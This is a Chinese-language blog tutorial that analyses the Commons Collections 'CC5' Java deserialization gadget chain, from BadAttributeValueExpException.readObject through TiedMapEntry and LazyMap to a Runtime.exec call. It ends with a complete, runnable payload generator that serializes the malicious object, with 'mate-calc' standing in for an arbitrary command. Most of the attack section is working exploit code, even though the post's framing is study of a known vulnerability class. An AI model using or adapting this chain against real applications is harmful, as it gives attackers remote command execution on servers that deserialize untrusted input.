JAVA反序列化——CC5链

CC5也是在CC1的路线上改了改入口类。

从AnnotationInvocationHandler.readObject改成了BadAttributeValueExpException.readObject

沿用CC1从LazyMap.get之后的部分。

寻找

在TiedMapEntry类的getValue方法也调用了get方法:

1
2
3
public Object getValue() {
return map.get(key);
}

而本类的toString方法又调用了getValue方法:

1
2
3
public String toString() {
return getKey() + "=" + getValue();
}

在BadAttributeValueExpException的readObject方法调用了toString方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString(); //toString
} else {
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

因此想办法让valObj是TiedMapEntry类的对象即可。

1
2
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

先调用readFields从流中读取了所有的持久化字段,然后调用get()方法得到了名字是val的字段。也就是这个:

1
private Object val;

同时注意一下这个类,看一下就知道这个类其实也是可以反序列化的:

1
2
3
public class BadAttributeValueExpException extends Exception   {
public class Exception extends Throwable {
public class Throwable implements Serializable {

构造

之前在CC6链中了解到TiedMapEntry类需要一个map对象,需要一个随便什么key。

1
2
3
4
5
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}

那么我们可以这样写

1
TiedMapEntry tiedMapEntry = new TiedMapEntry(outMap,"aaa");

我们看一下BadAttributeValueExpException类的构造方法:

1
2
3
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}

这里他需要的参数就是val,我们直接传入tiedMapEntry试试:

1
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);

运行代码发现,在序列化的时候弹了计算器,但是在反序列化的时候并没有,这个问题已经解决过两次了,还是老方法解决:先在给BadAttributeValueExpException传参数的时候不传入tiedMapEntry对象,然后反射修改val的值为tiedMapEntry就行。

1
2
3
4
5
6
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
//反射修改val的值为tiedMapEntry
Class b = Class.forName("javax.management.BadAttributeValueExpException");
Field valField = b.getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException,tiedMapEntry);

给出完整CC5链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
public static void main(String[] args) throws Exception {

//序列化InvokerTransformer,反射调用exec函数执行命令。
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"mate-calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> inmap = new HashMap<>();
Map<Object,Object> outMap = LazyMap.decorate(inmap,chainedTransformer);

//CC5的开头
TiedMapEntry tiedMapEntry = new TiedMapEntry(outMap,"aaa");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
//反射修改val的值为tiedMapEntry
Class b = Class.forName("javax.management.BadAttributeValueExpException");
Field valField = b.getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException,tiedMapEntry);

serialize(badAttributeValueExpException);
}

public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serialize"));
oos.writeObject(obj);
}
}

JAVA反序列化——CC5链
http://example.com/2024/04/18/JAVA反序列化-CC5链/
作者
Infernity
发布于
2024年4月18日
许可协议